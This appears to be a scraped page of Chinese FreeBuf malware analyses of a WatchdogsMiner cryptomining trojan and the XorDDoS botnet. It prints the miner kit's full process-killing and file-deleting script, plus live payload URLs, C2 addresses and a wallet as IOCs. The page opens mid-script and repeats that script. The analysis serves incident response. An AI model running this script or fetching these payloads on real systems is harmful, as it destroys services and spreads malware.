	  if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
	done

	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	
	# crond
	ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
	while read crondpid
	do
		if [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $crondpid
			rm -rf /var/tmp/v3
		fi
	done < /tmp/crondpid
	rm /tmp/crondpid -f
	 
	# sshd
	ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
	while read sshdpid
	do
		if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $sshdpid
		fi
	done < /tmp/ssdpid
	rm -f /tmp/ssdpid

	# syslog
	ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
	while read syslogpid
	do
		if [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill  $syslogpid
		fi
	done < /tmp/syslogspid
	rm /tmp/syslogspid -f

		ps x | grep 'b 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

		####################################################


		ps x | grep 'd 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

}

# Removing miners by known path IOC
files(){
	rm /tmp/.cron
	rm /tmp/.main
	rm /tmp/.yam* -rf
	rm -f /tmp/irq
	rm -f /tmp/irq.sh
	rm -f /tmp/irqbalanc1
	rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
	rm -rf /tmp/*httpd.conf
	rm -rf /tmp/*httpd.conf*
	rm -rf /tmp/*index_bak*
	rm -rf /tmp/.systemd-private-*
	rm -rf /tmp/.xm*
	rm -rf /tmp/a7b104c270
	rm -rf /tmp/conn
	rm -rf /tmp/conns
	rm -rf /tmp/httpd.conf
	rm -rf /tmp/java*
	rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
	rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
	rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
	rm -rf /tmp/xm*
	rm -rf /var/tmp/java*
}

# Killing and blocking miners by network related IOC
network(){
	# Kill by known ports/IPs
	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}	

files
processes
network
echo "DONE"

0×03 相关IOC

MD5

1b9254279109722a034b7026cd8eb0e7

ef6aa42aa0fa26fb6ba8c0af02737585

cd6d5fc0fbf8616a1387651432ee7b99

IP

118.25.7.83:36366

69.28.55.86:443

185.71.65.238

140.82.52.87

URL

http://54.37.70.249/.x15cache

http://54.37.70.249/dota2.tar.gz

http://54.37.70.249/fiatlux-1.0.0.apk

0×04 其他平台检测结果

Virustotal检测结果:

2.png

微步分析结果:

1.png

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

2019年5月27日清晨,捕获到一起挖矿木马行为,通过分析,定性为针对“门罗币”的WatchdogsMiner变种挖矿木马入侵事件。

该木马通过SSH爆破,使用Linux系统的Shell脚本编写下载器,通过wget和curl命令下载“游戏组件dota2.tar.gz,实则是挖矿脚本组件,里面包含了强大的查杀其他挖矿木马的脚本,还有针对不同系统对应的挖矿木马。本文对该挖矿木马核心代码进行分析,便于从事安全事件响应的同行碰到相同类型的挖矿木马可以快速排查,定性安全威胁事件。

image.png

挖矿木马攻击流程

0×00 样本介绍

样本基本信息:

样本 MD5 内容
x15cache 1b9254279109722a034b7026cd8eb0e7 x15cache脚本下载挖矿程序包
anacron ef6aa42aa0fa26fb6ba8c0af02737585 32位挖矿程序
cron cd6d5fc0fbf8616a1387651432ee7b99 64位挖矿程序

0×01 详细分析

x15cache脚本的脚本内容如下所示,主要作用是下载dota2.tar.gz包,并且执行挖矿程序。

3.png

dota2.tar.gz包含了如下文件:

17.png

a为脚本文件,作用是删除crontab文件,生成upd并赋权,upd去执行run,run去执行真正的挖矿程序。

18.png

run脚本文件为启动xmr挖矿病毒的脚本,首先执行stop结束脚本,ARCH获取系统版本,根据版本执行对应的挖矿程序。

16.pngstop脚本文件为挖矿结束脚本。

19.png

对anacron和cron文件进行分析,它们分别是32位和64位的挖矿程序,下面以32位的WatchdogMiner变种样本为例分析,通过代码分析该挖矿程序是基于XMRig 2.14.1开源项目开发的。

当参数为1时,挖矿算法支持为cryptonight,支持nicehash.com。

11.png

挖矿时挖矿配置如下,设置算法为cryptonight,并且启用nicehash.com支持。

15.png

当参数为2时,矿机程序采用开源挖矿软件XMRig 2.14.1版本编译。

12.png

流量解析提取如下:

15.png

挖矿程序使用的IP地址如下:

5.255.86.129:80挖矿行为

7.png

107.191.99.221:80挖矿行为

8.png

workforce.ignorelist.com挖矿行为

9.png

XMR钱包地址:

45UcbvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7
bDebx51LCuDQYyhFgVbUMhc4qY14CQ

10.png

dota2.tar.gz包含init0脚本,用于Linux环境下查杀加密货币矿工的脚本,清理CPU占用高的进程,清理各类挖矿矿池进程,还清理其他恶意程序,如”kworkerds”,”ddgs”等挖矿程序,脚本内容如下。

#!/bin/sh

##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\

# Killing processes by name, path, arguments and CPU utilization
processes(){
	killme() {
	  killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
	}

	killa() {
	what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
	}

	killa 34e2fg
	killme
	
	# Killing big CPU
	VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
	for word in $VAR
	do
	  CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
	  if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
	done

	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	
	# crond
	ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
	while read crondpid
	do
		if [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $crondpid
			rm -rf /var/tmp/v3
		fi
	done < /tmp/crondpid
	rm /tmp/crondpid -f
	 
	# sshd
	ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
	while read sshdpid
	do
		if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $sshdpid
		fi
	done < /tmp/ssdpid
	rm -f /tmp/ssdpid

	# syslog
	ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
	while read syslogpid
	do
		if [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill  $syslogpid
		fi
	done < /tmp/syslogspid
	rm /tmp/syslogspid -f

		ps x | grep 'b 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

		####################################################


		ps x | grep 'd 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

}

# Removing miners by known path IOC
files(){
	rm /tmp/.cron
	rm /tmp/.main
	rm /tmp/.yam* -rf
	rm -f /tmp/irq
	rm -f /tmp/irq.sh
	rm -f /tmp/irqbalanc1
	rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
	rm -rf /tmp/*httpd.conf
	rm -rf /tmp/*httpd.conf*
	rm -rf /tmp/*index_bak*
	rm -rf /tmp/.systemd-private-*
	rm -rf /tmp/.xm*
	rm -rf /tmp/a7b104c270
	rm -rf /tmp/conn
	rm -rf /tmp/conns
	rm -rf /tmp/httpd.conf
	rm -rf /tmp/java*
	rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
	rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
	rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
	rm -rf /tmp/xm*
	rm -rf /var/tmp/java*
}

# Killing and blocking miners by network related IOC
network(){
	# Kill by known ports/IPs
	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}	

files
processes
network
echo "DONE"

0×03 相关IOC

MD5

1b9254279109722a034b7026cd8eb0e7

ef6aa42aa0fa26fb6ba8c0af02737585

cd6d5fc0fbf8616a1387651432ee7b99

IP

118.25.7.83:36366

69.28.55.86:443

185.71.65.238

140.82.52.87

URL

http://54.37.70.249/.x15cache

http://54.37.70.249/dota2.tar.gz

http://54.37.70.249/fiatlux-1.0.0.apk

0×04 其他平台检测结果

Virustotal检测结果:

2.png

微步分析结果:

1.png

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

一、背景

最近突然发现服务器出现流量异常,十分卡顿,通过top命令查看内存使用情况,发现可疑的进程:

1.png

通过kill -9 pid(116218)命令杀掉后又启动新的进程,名字更换了:

2.png

查看etc/crontab定时任务发现定时任务*/3 * * * * root etc/cron.hourly/gcc.sh,每3分钟执行一次以下脚本:

3.png

查看gcc.sh脚本,可以看到脚本内容,该脚本的功能是打开网卡,然后启动libudev.so,并启动多个进程来监控libudev.so进程是否被查杀,如果被杀掉了,会再次拷贝libudev.so执行,而且每次启动都会更换进程名,给查杀带来了难度。

二、样本介绍

样本基本信息:

样本名称 libudev.so
样本类型 ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
样本大小 662840
MD5 7d44757d809641646e02ab76ed93ede8
SHA256 0972688711161e347d08ce1c931eb41904fc6f4e4764548e1f14da132a0d1b5d
传播方式 SSH爆破,远程下载执行
所属家族 XorDDoS

三、详细分析

i3306m样本运行后,首先通过get_self调用readlink来获取当前样本的运行路径:

4.png

该样本内置了一个XOR加解密算法,对字符串进行解密:

5.pngXOR解密密钥为“B2FA36AAA9541F0”:

6.png

通过IDA动态调试监听参数a1,获取解密字符串:

7.png

解密的字符串如下,http://www.s9xk32c.com/config.rar为配置文件:

20.png

解密出来的linux系统命令如下,这些字符串会在后面用于创建文件、拷贝文件盒系统命令等:

21.png

DelService()函数的功能是删除病毒自启动服务,并且删除/etc/rc*.d/ 的S90*文件都是指向/etc/init.d/里的启动脚本的软链接,从rc1.d一直到rc5.d。

22.png

创建/usr/bin/,/bin/,/tmp/三个目录。

8.png

在之前解密出的系统路径/usr/bin/,/bin/,/tmp/下复制自身并执行,并通过在尾部添加10个随机字符的方式,使得自身的hash值每次都不同,用于对抗检查hash值这一类的扫描。

9.png

AddService()函数代码尝试将自身作为服务写入到系统启动目录下,使每次样本都能随着系统自启动。

10.png

远程服务器上下载的gcc.sh脚本,写入本地crontab,作为定时任务执行,每3分钟检测程序是否运行,如果不存在就继续执行拷贝并运行。

11.png

样本自身还携带了一个rootkit模块,通过HidePidPort、HideFile对端口、文件进行隐藏。

12.png

然后创建3个线程,分别执行不同的任务:

13.png

kill_process线程的功能是监听配置文件config.rar是否下载成功,如果下载完成,读取每行的内容,根据判断条件对相应进程进行查杀。

15.pngtcp_thread线程的功能是获取受控主机的信息,然后发送回来:

16.png

daemon_get_kill_process线程的功能是通过http_download_mem()函数下载配置文件kill_cfg,然后解密配置文件,休眠1800s,继续执行该操作:

14.png

在tcp_thread线程中,有一个exec_packet函数,控制肉鸡向目标主机发起DDoS攻击,更具不同的参数设置,可以控制肉鸡进行各种威胁操作,包括创建多个线程发起DDoS攻击,下载恶意脚本并执行,发送恶意信息到指定服务器等操作。

18.png

样本更新:

19.png

四、处理以及加固措施

病毒查杀脚本和加固方法如下:

24.png

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载